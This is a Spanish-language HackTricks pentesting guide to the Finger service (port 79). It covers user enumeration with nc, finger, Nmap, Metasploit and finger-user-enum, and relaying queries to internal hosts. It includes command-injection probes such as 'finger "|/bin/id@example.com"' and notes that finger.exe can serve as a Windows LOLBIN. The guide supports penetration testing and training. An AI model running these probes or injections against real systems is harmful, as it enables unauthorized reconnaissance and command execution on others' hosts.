79 - Pentesting Finger
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
El programa/servicio Finger se utiliza para recuperar detalles sobre usuarios de un equipo. Normalmente, la información proporcionada incluye el nombre de usuario (login), nombre completo, y, en algunos casos, detalles adicionales. Estos detalles extra pueden abarcar la ubicación de la oficina y el número de teléfono (si están disponibles), la hora en que el usuario inició sesión, el periodo de inactividad (idle time), la última vez que el usuario leyó el correo, y el contenido de los archivos .plan y .project del usuario.
Desde la perspectiva del pentesting, Finger sigue siendo interesante porque el protocolo es extremadamente pequeño, legible para humanos, y a menudo implementado con lógica de parsing heredada. Un demonio puede revelar:
- usuarios actualmente conectados
- nombres completos / datos GECOS
- directorios home, shells, últimos tiempos de inicio de sesión y TTYs
- contenidos de
.plan/.project - comportamiento de relay para consultar un segundo host a través del primero
Puerto por defecto: 79
PORT STATE SERVICE
79/tcp open finger
Enumeración
Banner Grabbing/Conexión básica
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
El protocolo es ASCII over TCP/79, normalmente terminado con CRLF, y el servidor cierra la conexión TCP después de la respuesta. En la práctica, una consulta nula (\r\n) suele ser suficiente para obtener la lista de usuarios actual, que es también lo que hace el script NSE finger por defecto de Nmap.
User enumeration
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
Alternativamente puedes usar finger-user-enum de pentestmonkey, algunos ejemplos:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
El matiz importante con la enumeración Finger es que no existe un formato de respuesta estricto entre los daemons. Herramientas como finger-user-enum funcionan bien contra servicios estilo Solaris porque usuarios válidos e inválidos producen diferentes formatos de texto, pero puede que tengas que comparar manualmente las respuestas positivas y negativas y adaptar las regexes si el daemon objetivo es inusual.
Sondeos útiles cuando el daemon no se comporta como el Solaris/BSD de stock:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmap ejecutar un script usando default scripts
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
Nmap’s finger NSE script es seguro y simplemente envía una consulta nula para recuperar la lista de usuarios actual. Si quieres ampliar el username guessing contra daemons permisivos, considera extender el enfoque con wordlists personalizadas o usar proyectos como fat-finger.nse, que envían múltiples nombres de cuenta probables en una sola petición y buscan coincidencias de username/GECOS.
Metasploit usa más trucos que Nmap
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
Ejecución de comandos
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
RFC 1288 permite explícitamente a las implementaciones ejecutar un programa controlado por el usuario en respuesta a una consulta Finger, que es de donde viene el clásico abuso |/bin/.... Esto es raro hoy en día, pero si encuentras un daemon personalizado o heredado, prueba cuidadosamente por:
- metacaracteres de shell en el manejo de nombres de usuario
- ejecución de
|programen hooks de plan/proyecto - wrappers de backend que pasen el nombre de usuario a un shell script o CGI
También recuerda la vía de abuso client-side en Windows: finger.exe es un LOLBIN firmado que puede recuperar texto arbitrario de un servidor Finger remoto en TCP/79, y luego redirigir esa salida hacia otro proceso. Esa técnica es más relevante para post-exploitation que para service enumeration, así que consulta the Linux reverse-shell page para la idea del transporte de shell y tenla en cuenta al emular el tradecraft de un atacante.
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
Esto no es solo una peculiaridad de implementación: RFC 1288 define el reenvío recursivo @hostname ({Q2} consultas). Si el daemon admite reenvío, el servidor intermedio abre la segunda conexión Finger por ti y devuelve la respuesta a través del socket original. Eso significa:
- tu host puede no conectarse directamente al objetivo final
- el relay puede usarse para enumerar usuarios internos desde un servicio Finger expuesto
finger-user-enumadmite esto de forma nativa con-r <relay>
Ejemplo:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Si relaying funciona, úsalo como un internal recon primitive y compara la salida relayed con la salida directa del daemon público. Un formateo o filtrado diferente suele revelar si la ruta de relay está gestionada por un backend o wrapper separado.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


